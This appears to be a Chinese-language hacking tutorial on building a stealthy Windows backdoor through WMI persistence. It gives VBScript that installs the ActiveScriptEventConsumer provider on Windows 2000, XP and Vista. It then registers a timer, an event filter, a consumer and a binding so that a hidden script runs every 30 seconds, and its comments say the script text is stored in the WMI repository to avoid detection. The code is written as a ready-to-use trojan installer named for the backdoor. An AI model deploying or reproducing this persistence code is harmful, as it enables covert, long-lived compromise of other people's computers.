利用WMI打造完美三无后门(scrcons.exe)

class ActiveScriptEventConsumer : __EventConsumer { uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读 uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0，脚本不会被终止 string MachineName; uint32 MaximumQueueSize; string Name; //自定义的事件消费者的名字。 string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话，写上这里吧。 string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我，有我没你 };

Function InstallASECForWin2K ’安装ASEC For Windows 2000’ Dim ASECPath2K ASECPath2K = XShell.Expandenvironmentstrings(\”%windir%\\system32\\wbem\\\”) Set MofFile = FSO.opentextfile(ASECPath2K&\”scrcons.mof\”,1,False) MofContent = MofFile.Readall MofFile.Close MofContent = Replace(MofContent,\”\\\\Default\”,\”\\\\cimv2\”,1,1) ‘替换默认的名称空间 TempMofFile=ASECPath2K&\”Temp.mof\” Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) TempMof.Write MofContent TempMof.close XShell.run \”mofcomp.exe -N:root\\cimv2 \”&TempMofFile,0,TRUE FSO.DeleteFile(TempMofFile) ASECStatus = \”Ready\” ’Wscript.Echo \”ASECForWin2K Install OK!\” End Function Function InstallASECForWinXP ’安装ASEC For Windows XP’ Dim ASECPathXP XPASECPath = XShell.Expandenvironmentstrings(\”%windir%\\system32\\wbem\\\”) XShell.run \”mofcomp.exe -N:root\\cimv2 \”&XPASECPath&\”scrcons.mof\”,0,TRUE ’直接运行安装即可 ASECStatus = \”Ready\” ’Wscript.Echo \”ASECForWinXP Install OK!\” End Function Function InstallASECForVista ’安装ASEC For Windows Vista’ Dim ASECPath2K ASECPath2K = XShell.Expandenvironmentstrings(\”%windir%\\system32\\wbem\\\”) Set f = FSO.GetFile(ASECPath2K&\”scrcons.mof\”) Set MofFile = f.OpenAsTextStream(1,-2) ’Set MofFile = FSO.opentextfile(ASECPath2K&\”scrcons.mof\”,1,False) MofContent = MofFile.Readall MofFile.Close MofContent = Replace(MofContent,\”#pragma autorecover\”,\”\”,1,1) //需要删除autorecover，否则安装出错 TempMofFile=ASECPath2K&\”Temp.mof\” Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) TempMof.Write MofContent TempMof.close XShell.run \”mofcomp.exe -N:root\\cimv2 \”&TempMofFile,0,TRUE FSO.DeleteFile(TempMofFile) ASECStatus = \”Ready\” ’Wscript.Echo \”ASECForWinVista Install OK!\” End Function

Function InstallUpdateableTrojan WMILink=\”winmgmts:\\\\.\\root\\cimv2:\” //ASEC所在的名称空间 TrojanName=\”ScriptKids\” //自定义的消费者名字，也就是你的后门的名字 TrojanRunTimer=30000 //自定义的脚本运行间隔 strtxt=\”\” //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库 ’配置事件消费者’ set Asec=getobject(WMILink&\”ActiveScriptEventConsumer\”).spawninstance_ Asec.name=TrojanName&\”_consumer\” Asec.scriptingengine=\”vbscript\” Asec.scripttext=strtxt set Asecpath=Asec.put_ ’配置计时器’ set WMITimer=getobject(WMILink&\”__IntervalTimerInstruction\”).spawninstance_ WMITimer.timerid=TrojanName&\”_WMITimer\” WMITimer.intervalbetweenevents=TrojanRunTimer WMITimer.skipifpassed=false WMITimer.put_ ’配置事件过滤器’ set EventFilter=getobject(WMILink&\”__EventFilter\”).spawninstance_ EventFilter.name=TrojanName&\”_filter\” EventFilter.query=\”select * from __timerevent where timerid=\”\”\”&TrojanName&\”_WMITimer\”\”\” EventFilter.querylanguage=\”wql\” set FilterPath=EventFilter.put_ ’绑定消费者和过滤器’ set Binds=getobject(WMILink&\”__FilterToConsumerBinding\”).spawninstance_ Binds.consumer=Asecpath.path Binds.filter=FilterPath.path Binds.put_ End Function